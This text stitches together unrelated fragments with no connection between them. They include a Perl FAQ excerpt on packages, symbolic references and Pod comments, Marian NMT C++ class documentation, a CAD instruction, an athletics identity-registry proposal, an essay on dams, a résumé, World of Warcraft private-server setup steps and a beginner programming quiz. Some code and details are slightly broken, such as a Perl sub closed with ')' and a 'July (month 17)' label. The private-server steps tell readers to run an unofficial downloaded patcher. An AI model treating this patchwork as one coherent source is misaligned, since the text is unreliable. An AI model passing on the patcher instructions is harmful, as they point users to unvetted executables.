Starting from Perl 5.8, a source filter module, "Switch", can also be used to get switch and case. Its use is now discouraged, because it's not fully compatible with the native switch of Perl 5.10, and because, as it's implemented as a source filter, it doesn't always work as intended when complex syntax is involved.
When it comes to undefined variables that would trigger a warning under "use warnings", you can promote the warning to an error.
use warnings FATAL => qw(uninitialized);
Another possible reason for problems is that you've used the indirect object syntax (eg, "find Guru "Samy"") on a class name before Perl has seen that such a package exists. It's wisest to make sure your packages are all defined before you start using them, which will be taken care of if you use the "use" statement instead of "require". If not, make sure to use arrow notation (eg., "Guru->find("Samy")") instead. Object notation is explained in perlobj.
Make sure to read about creating modules in perlmod and the perils of indirect objects in "Method Invocation" in perlobj.
To find the package you are currently in, use the special literal "__PACKAGE__", as documented in perldata. You can only use the special literals as separate tokens, so you can't interpolate them into strings like you can with variables:
my $current_package = __PACKAGE__; print "I am in package $current_package\n";
If you want to find the package calling your code, perhaps to give better diagnostics as Carp does, use the "caller" built-in:
sub foo { my @args = ...; my( $package, $filename, $line ) = caller; print "I was called from package $package\n"; );
By default, your program starts in package "main", so you will always be in some package.
This is different from finding out the package an object is blessed into, which might not be the current package. For that, use "blessed" from Scalar::Util, part of the Standard Library since Perl 5.8:
use Scalar::Util qw(blessed); my $object_package = blessed( $object );
Most of the time, you shouldn't care what package an object is blessed into, however, as long as it claims to inherit from that class:
my $is_right_class = eval { $object->isa( $package ) }; # true or false
And, with Perl 5.10 and later, you don't have to check for an inheritance to see if the object can handle a role. For that, you can use "DOES", which comes from "UNIVERSAL":
my $class_does_it = eval { $object->DOES( $role ) }; # true or false
You can safely replace "isa" with "DOES" (although the converse is not true).
The quick-and-dirty way to comment out more than one line of Perl is to surround those lines with Pod directives. You have to put these directives at the beginning of the line and somewhere where Perl expects a new statement (so not in the middle of statements like the "#" comments). You end the comment with "=cut", ending the Pod section:
=pod my $object = NotGonnaHappen->new(); ignored_sub(); $wont_be_assigned = 37; =cut
The quick-and-dirty method only works well when you don't plan to leave the commented code in the source. If a Pod parser comes along, your multiline comment is going to show up in the Pod translation. A better way hides it from Pod parsers as well.
The "=begin" directive can mark a section for a particular purpose. If the Pod parser doesn't want to handle it, it just ignores it. Label the comments with "comment". End the comment using "=end" with the same label. You still need the "=cut" to go back to Perl code from the Pod comment:
=begin comment my $object = NotGonnaHappen->new(); ignored_sub(); $wont_be_assigned = 37; =end comment =cut
For more information on Pod, check out perlpod and perlpodspec.
sub scrub_package { no strict 'refs'; my $pack = shift; die "Shouldn't delete main package" if $pack eq "" || $pack eq "main"; my $stash = *{$pack . '::'}{HASH}; my $name; foreach $name (keys %$stash) { my $fullname = $pack . '::' . $name; # Get rid of everything with that name. undef $$fullname; undef @$fullname; undef %$fullname; undef &$fullname; undef *$fullname; } }
Or, if you're using a recent release of Perl, you can just use the Symbol::delete_package() function instead.
$fred = 23; $varname = "fred"; ++$$varname; # $fred now 24
This works sometimes, but it is a very bad idea for two reasons.
The first reason is that this technique only works on global variables. That means that if $fred is a lexical variable created with my() in the above example, the code wouldn't work at all: you'd accidentally access the global and skip right over the private lexical altogether. Global variables are bad because they can easily collide accidentally and in general make for non-scalable and confusing code.
Symbolic references are forbidden under the "use strict" pragma. They are not true references and consequently are not reference-counted or garbage-collected.
The other reason why using a variable to hold the name of another variable is a bad idea is that the question often stems from a lack of understanding of Perl data structures, particularly hashes. By using symbolic references, you are just using the package's symbol-table hash (like %main::) instead of a user-defined hash. The solution is to use your own hash or a real reference instead.
$USER_VARS{"fred"} = 23; my $varname = "fred"; $USER_VARS{$varname}++; # not $$varname++
There we're using the %USER_VARS hash instead of symbolic references. Sometimes this comes up in reading strings from the user with variable references and wanting to expand them to the values of your perl program's variables. This is also a bad idea because it conflates the program-addressable namespace and the user-addressable one. Instead of reading a string and expanding it to the actual contents of your program's own variables:
$str = 'this has a $fred and $barney in it'; $str =~ s/(\$\w+)/$1/eeg; # need double eval
it would be better to keep a hash around like %USER_VARS and have variable references actually refer to entries in that hash:
$str =~ s/\$(\w+)/$USER_VARS{$1}/g; # no /e here at all
That's faster, cleaner, and safer than the previous approach. Of course, you don't need to use a dollar sign. You could use your own scheme to make it less confusing, like bracketed percent symbols, etc.
$str = 'this has a %fred% and %barney% in it'; $str =~ s/%(\w+)%/$USER_VARS{$1}/g; # no /e here at all
Another reason that folks sometimes think they want a variable to contain the name of a variable is that they don't know how to build proper data structures using hashes. For example, let's say they wanted two hashes in their program: %fred and %barney, and that they wanted to use another scalar variable to refer to those by name.
$name = "fred"; $$name{WIFE} = "wilma"; # set %fred $name = "barney"; $$name{WIFE} = "betty"; # set %barney
This is still a symbolic reference, and is still saddled with the problems enumerated above. It would be far better to write:
$folks{"fred"}{WIFE} = "wilma"; $folks{"barney"}{WIFE} = "betty";
And just use a multilevel hash to start with.
The only times that you absolutely must use symbolic references are when you really must refer to the symbol table. This may be because it's something that one can't take a real reference to, such as a format name. Doing so may also be important for method calls, since these always go through the symbol table for resolution.
In those cases, you would turn off "strict 'refs'" temporarily so you can play around with the symbol table. For example:
@colors = qw(red blue green yellow orange purple violet); for my $name (@colors) { no strict 'refs'; # renege for the block *$name = sub { "<FONT COLOR='$name'>@_</FONT>" }; }
All those functions (red(), blue(), green(), etc.) appear to be separate, but the real code in the closure actually was compiled only once.
So, sometimes you might want to use symbolic references to manipulate the symbol table directly. This doesn't matter for formats, handles, and subroutines, because they are always global--you can't use my() on them. For scalars, arrays, and hashes, though--and usually for subroutines-- you probably only want to use hard references.
The "bad interpreter" message comes from the shell, not perl. The actual message may vary depending on your platform, shell, and locale settings.
If you see "bad interpreter - no such file or directory", the first line in your perl script (the "shebang" line) does not contain the right path to perl (or any other program capable of running scripts). Sometimes this happens when you move the script from one machine to another and each machine has a different path to perl--/usr/bin/perl versus /usr/local/bin/perl for instance. It may also indicate that the source machine has CRLF line terminators and the destination machine has LF only: the shell tries to find /usr/bin/perl<CR>, but can't.
If you see "bad interpreter: Permission denied", you need to make your script executable.
In either case, you should still be able to run the scripts with perl explicitly:
% perl script.pl
If you get a message like "perl: command not found", perl is not in your PATH, which might also mean that the location of perl is not where you expect it so you need to adjust your shebang line.
If the new version of the C library is ABI-compatible (that's Application Binary Interface compatible) with the version you're upgrading from, and if the shared library version didn't change, no re-compilation should be necessary.
This documentation is free; you can redistribute it and/or modify it under the same terms as Perl itself.
Irrespective of its distribution, all code examples in this file are hereby placed into the public domain. You are permitted and encouraged to use this code in your own programs for fun or for profit as you see fit. A simple comment in the code giving credit would be courteous but is not required.
| 2019-10-21 | perl v5.30.3 |


keyboard_arrow_left
keyboard_arrow_right
Text Version: https://goo.gl/kPSFPo
Text Version: https://goo.gl/KkAqj0


Abstract
These notes review the basic theory of Fourier expansion that are necessary for one to use Fourier expansion in numerical codes.


{% extends "layout.html" %} {% block title %}Page Not Found{% endblock %} {% block body %} Sorry, the page you are looking for could not be found. {% endblock %}


|
Marian
v1.6.0
A C++ GPU-specific Neural Machine Translation
|
#include <graph_group_multinode_sync.h>
Public Member Functions | |
| virtual void | setScheduler (Ptr< Scheduler > scheduler) override |
| MultiNodeGraphGroupSync (Ptr< Config > options) | |
| void | update (Ptr< data::Batch > batch) override |
| void | load () override |
| void | save (bool final=false) override |
| void | save (Ptr< ExpressionGraph > graph, bool final=false) |
| Ptr< data::BatchStats > | collectStats () |
| virtual void | finalize () override |
| Public Member Functions inherited from marian::GraphGroup | |
| GraphGroup (Ptr< Config > options) | |
| virtual Ptr< data::BatchStats > | collectStats (Ptr< ExpressionGraph > graph, Ptr< models::ModelBase > model, size_t multiplier=1) |
Protected Member Functions | |
| Tensor | newTensor (int size, Ptr< Backend > backend) |
| void | updateAvgParams (Tensor paramsAvg, Tensor params, size_t batches) |
| virtual void | init (Ptr< data::Batch > batch) |
| void | setupMPI () |
| void | setupClients (Ptr< data::Batch > batch) |
| void | runBatchThroughClientGraphs (Ptr< data::Batch > batch) |
| void | initCPUArrays () |
| void | sumGRAD (Tensor gradient) |
| void | sendReceiveUpdateSync () |
| void | execute (Ptr< data::Batch > batch) |
| void | loadDeviceConfig (std::vector< size_t > deviceConfig) |
Protected Attributes | |
| std::vector< int > | numberClientsOfNodes_ |
| bool | initialized_ {false} |
| std::vector< Ptr< TensorAllocator > > | allocators_ |
| std::vector< Ptr< models::ModelBase > > | clientBuilders_ |
| std::vector< Ptr< ExpressionGraph > > | clientGraphs_ |
| std::vector< size_t > | devices_ |
| std::mutex | mutexClientInit_ |
| std::mutex | schedulerMutex_ |
| size_t | batchIter_ = 0 |
| int | mpi_my_rank_ {0} |
| int | mpi_comm_world_size_ {1} |
| size_t | tau_ {1} |
| std::mutex | sumGradientMutex_ |
| std::mutex | updateParamsMutex_ |
| std::mutex | sumCostMutex_ |
| Tensor | accGradientsSync |
| Tensor | sumGradientBuffer |
| Tensor | paramsAvg_ |
| std::vector< float > | accGradientsSync_cpu |
| std::vector< float > | receiveBuffer_cpu |
| bool | synchronization_happened {false} |
| Ptr< OptimizerBase > | syncOptimizer_ |
| std::vector< std::mutex > | optDelayMutex_ |
| std::vector< size_t > | delay_count |
| std::vector< int > | totalBatchWords |
| std::vector< Tensor > | accGradients |
| std::vector< Tensor > | accGradientBuffer |
| bool | movingAvg_ {false} |
| float | mvDecay_ {1e-4f} |
| Protected Attributes inherited from marian::GraphGroup | |
| Ptr< Config > | options_ |
| Ptr< OptimizerBase > | opt_ |
| Ptr< Scheduler > | scheduler_ |
| bool | finalized_ {false} |
| bool | scaleLearningRate_ |
| float | avgBatchWords_ |
Multi-node graph group for asynchronous training over multiple machines each with one or multiple GPUs
|
inline |
(Constructor) Call super class and initialize client graphs and builders.
|
inline |
Collect statistics from first client's graph.
|
protected |
Execute given batch on this node, pushing/pulling the resulting gradients/parameters to/from the server shards or – if comm. overlap enabled – to/from the communication buffers, summing gradients locally if the communication thread is busy
| batch | Batch on which to perform forward and backward passes. |
|
protectedvirtual |
Setup training environment and launch server thread and (if enabled) client communication overlap threads.. Includes setting up MPI, node and shard sizes, clients, server shards and communication overlap stuff.
Setup training environment and launch server thread and (if enabled) client communication overlap threads. Includes setting up MPI, node and shard sizes, clients, server shards and communication overlap stuff.
|
protected |
Initialize the CPU arrays, with pinned memory for faster CudaMemCpy operations.
Initialize the CPU arrays, with pinned memory for faster CudaMemCpy operations. Requires the graph to be initialized first so we know its size
|
inlineoverridevirtual |
Load models from disk if file exists and setting is not disabled
Implements marian::GraphGroup.
|
inlineprotected |
Load the GPU configuration of this node (i.e. which GPUs to use) and the number of GPUs on the other nodes.
|
protected |
Allocate new tensor on given GPU and store allocator.
|
protected |
Initialize the graphs (models) of all clients on this node with the given batch.
|
inlineoverridevirtual |
Save model of first client's graph to disk
Implements marian::GraphGroup.
|
inline |
Save model of given graph to disk.
|
protected |
Does the MPI Communication, parameter update and copying back parameters. ALHAM. God function too godly?
If it's rank 0, it's a local update, if it's rank one it's remote send and receive. Make sure you only call from device 0.
|
overridevirtual |
Set given scheduler to register training observers on the shard optimizers.
Implements marian::GraphGroup.
|
protected |
Setup clients that will compute gradients and communicate them with the server shards. There is one client per GPU.
|
protected |
Setup MPI world size and rank of this node.
|
protected |
Sums the gradients from a node, taking care of locking
| gradient | - the gradient |
Initialize variables required for overlapping client computations and communication. Includes summed and committed word counts, buffer flags, mutexes and condition variables.
|
inlineoverridevirtual |
Update any client model with given batch if batch is assigned to this node.
Implements marian::GraphGroup.
|
protected |
Memory allocators for tensors (GPUs).
|
protected |
Batch number counter used for evenly distributing mini-batches across nodes.
|
protected |
Graph builders for clients (which run forward and backward passes).
|
protected |
Graphs of clients.
|
protected |
Devices (GPUs) on this node.
|
protected |
Whether graph group has been properly initialized with a first batch.
|
protected |
Number of nodes in MPI world (cluster).
|
protected |
MPI rank of this node.
|
protected |
Mutex to ensure clients are uniquely assigned to graphs and builders.
|
protected |
Number of clients on nodes in MPI world (cluster).
|
protected |
Mutex to avoid race conditions in scheduler.
|
protected |
Variables for optimizer delay and synchronous SGD


Cut 4 Cuts all segments at fence and traps those inside.
Move the cursor to one corner of the proposed field
Press 4.
Rubber banding is enabled.
Move the cursor to the diagonal corner of the field.
The rectangle defines the cut area.
Press 4 again to execute the cut.
All segments passing thru the fence are cut and added to the buffer.
Note that only rectangular fields normal to the major axes can be created. This function is not available for macro elements such as curves and text.


Identity¶
A large part of the problem is to agree on a common set of identifiers for the main things in athletics. When we’re exchanging data, we need to know when we are talking about the same competition, organisation, venue or person.
In the securities business, every fund or stock has an ISIN - Individual Security Identification Number. Without these, financial trade would be impossible.
We propose (in fact, we’re working on) the creation of an open, public registry which is free for anyone to use; and some voluntary standards. The main entities to be tracked are the big four - Organisations, Venues, Competitions and People.
We hope to start in a top-down manner by giving national governing bodies the ultimate say over their country. The key concepts are:
- an identity server - a public web server where all the things can be registered and found. We’ll start at http://data.opentrack.run/, and welcome anyone wanting to set up mirrors. Data will be available in several formats - browsing by humans, JSON or XML records, and bulk downloads.
- Universally Unique IDs or UUIDs for each major thing in the sport (Organisation, Person, Venue, Competition). UUIDs are big long numbers used in software. They never clash, so if a system is already giving UUIDs to things (like the Danish competition management system), we can just use theirs
- human-readable short codes or slugs which are unique in the country, or possibly year. These need to be chosen at some point to use our tools
- a permanent URL or home page for each thing. For example, the world’s oldest running club, Thames Hare and Hounds (usually abbreviated THH), can be found at http://data.opentrack.run/o/gbr/thh/. Anyone else building big athletics databases is invited to use the same codes and relative urls.
On this page we will have a shot, terse record with links to other things. Humans can see HTML, and API clients can see JSON or XML.
URL scheme and codes¶
Organisations¶
We suggest that all organisations in athletics eventually end up with a code like this:
/o/<countrycode>/<org-code>/
They can be identified when first discovered with a URL like this
/o/<uuid>
but the UUIDs are long and painful Much better for them to choose a code when they want to use the system (e.g. to enter a competition)
- <countrycode> is a 3-letter ISO country code (GBR, EST etc). <org-code> is a code of up to 5 characters which is unique within the country. 5 is long enough to handle abbreviations.
- Spain has given 5 letter codes to all 250 or so clubs in the country.
- The UK has abbreviations used by Athletics Weekly, but these often include spaces, capital, lowercase letters and apostrophes - not good for data interchange. However, league results often use 3 letter codes. We have been promoting simpler codes on a first-come-first-served basis, as people enter our systems.
- Estonia has chosen 4 or 5 letter codes for all their clubs
We might allow longer codes for universities - by which we mean any educational institution for young adults (18+) and schools. These compete some of the time, but there are so many schools that it would crowd out the clubs. For example, we believe there are abou 18,000 schools in the UK. We still don’t know how many are named “King Henry VIII”, but it’s a lot. One suggestion is a prefix: “UNI” or “SCH”, then a longer mnemomnic.
If there are good global standards for identifying universities, we’d like to know about it.
Competitions¶
Competitions are prefixed with ‘x’. We considered ‘c’, but ‘x’ is short and has connatations of ‘against’, so it seems appropriate.
Competitions may choose a slug - a URL component - which is unique for the country AND year. This is because in most cases, they happen year after year.
/x/<year><countrycode>/<slug>/
/x/<uuid>
/x/2017/gbr/lm/ - London Marathon /x/2017/gbr/rosenheim-final/ - final match of Rosenheim League /x/2017/gbr/hercopen/ - Hercules Open Meeting
/x/2017/est/ekv-in/ - Estonian Inter-Club Cup (indoors)
For events which recur, we can build up suffixes. e.g. the Thames Hare and Hounds “Second Sunday” race is monthly, so we can name it
/x/2017/gbr/thhss07 - July (month 17) race in series
And the 3rd of 4 matches in the Surrey League (Men), Division 2, might be
/x/2017/gbr/slmd1m3 Surrey League Men, Division 1, Match 3
Venues¶
/v/<country-code>/<venue-code>/
We can start with athletics tracks. We have found about 4000 in Europe so far by searching OpenStreetMap. We will give them UUIDs as we discover them.
We suggest taking the name normally used by the local athletes, and slugifying it - turning it into something URL-safe. Do NOT use the city name unless there is only one track. Also, pleas do not use sponsors’ names (The HugeCo Stadium) as these may change.
/v/gbr/iffley-road/ - Iffley Road in Oxford, where the four minute mile was run
Naming should be ‘first come first served’
People¶
This is the contentious part, where privacy advocates may scream “what? another database?”
Our view is that almost every federation and many other bodies are constantly trying to identify people, and this is one of the major bottlenecks in the sport, taking up huge amounts of volunteer time. In future, it MIGHT make sense to have a global directory. In the short term, in the countries we operate, it is necessary to give a unique ID to licensed athletes.
UUIDs will be far more common here, but we could potentially let people who use OpenTrack to register an identity if they wished. They might do this to correct their date, upload a photo, or link their athletics results to their social media identities.
/p/<uuid>/
/p/est/erki-nool/ - the 2000 Olympic Decathlon champion, Erki Nool, from Estonia
Imagine that if you visited the page above, you could see links to Erki Nool’s page on the national results, Wikipedia page, and the athlete’s page on the IAAF or European Athletics websites.
We would prefer not to encourage anonymous handles like “sprinter123” and must be mindful of clashes. There are a LOT of people called ‘Andy Robinson’ in the sport in the UK.
Dealing with duplicates and deletions¶
Over time we may discover that people are the same person, and likewise with other records. In these cases we can update the URL with a redirect - if you browse to the page, you will be sent onto a new one. Similarly, we will create a number of record types for inactive or past entities: tracks closed, clubs merged.


After the Second World War, many countries aimed to improve and enhance their strength in the international community and accelerate their economic development.
Dam provides multiple functions, including drinking water, flood control, irrigation,recreation, transpiration and hydropower.
The International Commission on Large Dams states that a large dam either is at least 15 meters tall from its lowest foundation to its crest, or it stores more than 3 million cubic meters of water with a height between 5 meters to 15 meters.
Among 140 countries, about 800,000 small dams and 50,000 large dams were built. There are an estimated 84,000 dams in the United States, impounding 600,000 mi (970,000 km) of river or about 17% of rivers in the nation.
The damming of great rivers is among the most dramatic, deliberate impacts that humans have on their natural environment. Nothing alters a river as totally as a dam.
A dam is an attempt to bring a river under control, to regulate its seasonal pattern of floods and low flows. A dam traps sediments and nutrients, alters the river’s temperature and chemistry, and upsets the geological processes of erosion and deposition through which the river sculpts the surrounding land. Such changes can throw an entire watershed out of ecological balance.
Formed by the damning of the Colorado River, Lake Mead, the nation’s largest reservoir, covers about 248 square miles and is capable of holding some 28.9 million acre-feet of water (an acre-foot is equivalent to about 325,000 gallons). The creation of Lake Mead (named for Elwood Mead, commissioner of the U.S. Bureau of Reclamation when the dam was being planned and built) flooded the community of St. Thomas, Nevada, and turned it into a ghost town. The last resident of the town, which was settled by Mormon pioneers in 1865, rowed away from his home in 1938. Today, the reservoir supplies water to farms, businesses and millions of people in Nevada, Arizona, California and Mexico. Lake Mead also is a popular site for boating, fishing and swimming; America’s first national recreation area was established there in 1964.
Oroville Dam is an earthfill embankment dam on the Feather River east of the city of Oroville, California, in the Sierra Nevada foothills east of the Sacramento Valley. At 770 feet (235 m) high, it is the tallest dam in the U.S. and serves mainly for water supply, hydroelectricity generation and flood control. The dam impounds Lake Oroville, the second largest man-made lake in the state of California, capable of storing more than 3.5 million acre-feet.
Bonneville Lock and Dam consists of several run-of-the-river dam structures that together complete a span of the Columbia River between the U.S. states of Oregon and Washington at River Mile 146.1. The dam is located 40 miles (64 km) east of Portland, Oregon, in the Columbia River Gorge. The primary functions of Bonneville Lock and Dam are electrical power generation and river navigation. The dam was built and is managed by the United States Army Corps of Engineers.
At the time of its construction in the 1930s it was the largest water impoundment project of its type in the nation, able to withstand flooding on an unprecendented scale. Electrical power generated at Bonneville is distributed by the Bonneville Power Administration.
Bonneville Lock and Dam is named for Army Capt. Benjamin Bonneville, an early explorer credited with charting much of the Oregon Trail. The Bonneville Dam Historic District was designated a National Historic Landmark District in 1987.
1.The Northwest does not need the electricity generated by the dams.
2.The four Lower Snake River dams are money losers for both tax- and bill-payers.
3.We have proof that restoring rivers recovers salmon.
4.We now have a clear understanding of the potentially catastrophic effects of warming on our remaining salmon.
5.Our endangered Puget Sound orcas depend on Columbia Basin chinook salmon.


Data Scientist | Capital One
Sept 2016 - Dec 2016
- Developed a secure, highly-available and project agnostic infrastructure for public releases of Data Science projects using AWS EC2, Elastic Load Balancers, Auto-Scaling Groups, Route53, Docker and Terraform.
- Wrote and shipped an API that serves users of the Capital One Mobile Beta App with their monthly recurring transactions.
- Developed the API with Node.js and Express to interface with internal company services and data models. Added tests using Chai, Mocha and Sinon to prevent regression bugs, mock external dependencies and test fault tolerance.
Distributed Systems Engineer | Wave Inc
Jan 2016 - April 2016
- Developed scalable, fault-tolerant backend services with Python and Django for the cloud-based accounting product that has about 2.2 million users.
- Used messaging queues, database sharding, worker machines and denormalization to perform heavy computations asynchronously,
leading to a 90% reduction in time to generate financial reports for each user.
- Stored each database change as a sequenced, immutable and queryable event (Event Sourcing), to improve concurrency control and auditability.
R&D Developer | DST Systems
May 2015 - Aug 2015
- Worked with the applied analytics division to add features, improvements and bug fixes to a big data engine which used transformation rules to clean, reduce and prepare
large datasets for analytics using Hadoop, Node.js, Redis, Rails, PostgreSQL, and ActiveMQ.
- Developed a C++ and Python GUI that uses machine learning algorithms and relevant libraries (Numpy, Matlplotlib, Scikit-learn) to authenticate users
in real time based on their ECG (Electrocardiogram) which was acquired using data streamed via Bluetooth from a wearable device (Nymi band).
- Built an image viewer with Node.js and Bootstrap that interfaced with eye tracking hardware to monitor user performance and generate live heat maps.


EDIT THIS FILE VIA :root: /lang/howtoplay/English.html
- Install World Of Warcraft
- Install The Burning Crusade (If you want to)
- Install The Wrath of the Lich King (If you want to)
- Install Cataclysm (If you want to)
- Apply 4.0.6a Patch
- Edit your "realmlist.wtf" (C:\program files\worldofwarcaft\data\enUS\realmlist.wtf) and change "Set Realmlist us.logon.worldofwarcraft.com" TO "set Realmlist infernophoenix.dyndns.org"
- Download our patch file at http://infernophoenix.com/InfernoPhoenixPatcher.exe
- Place the Patcher in your root World of Warcraft folder c:\program files\world of warcraft\ and run the program.
- Open the file and click patch after that is done simply exit the program
- We recommend you locate the wow.exe file and right click and tell it to send to desktop as shortcut to prevent future problems where the game updates past our server.
- Create Account On This Website
- Check your E-mail And Activate Account (Disabled At the moment)
- Read the Server Rules
- Support us with a Vote
- Have Fun!
[OPTION] By running Launcher.exe located in ./world of warcraft/launcher.exe you will be able to update your client.
[NOTE] Do not patch over 4.0.6a, or you will not be able to log into out servers!


Operators
Drag the correct element into green target so that the expression makes sense.
1 2 = 2
+
−
×
÷
8 4 = 4
+
−
×
÷
Conditionals
Drag the correct element into green target so that the program says HO! only when x is larger than 5.
if (x 5 )
{
Say "HO!"
}
=
<
>
Drag the correct element into green target so that the program says YO! only when x is 0.
if (x 0 )
{
Say "YO!"
}
=
<
>
Loops
Drag the correct elements into green target so that the program says:
HO!
HO!
HO!
for (i = 0; i
< ; i++ )
{
Say "HO!"
}
1
2
3
4
5
Drag the correct elements into green target so that the program does not say anything.
for (i = 0; i
< ; i++ )
{
Say "YO!"
}
0
1
2
3
4
Combination
Drag the correct element into green target so that the program says:
YO!
YO!
YO!
YO!
YO!
HO!
for (i = 0; i
< ; i++ )
{
Say "YO!"
if (i 4)
{ Say "HO!" }
}
1
2
3
4
5
>
<
=
Drag the correct element into green target so that the program says:
YO!
HO!
YO!
HO!
YO!
HO!
for (i = 1; i
< ; i++ )
{
Say "YO!"
if (i 10)
{ Say "HO!" }
}
1
2
3
4
5
>
<
=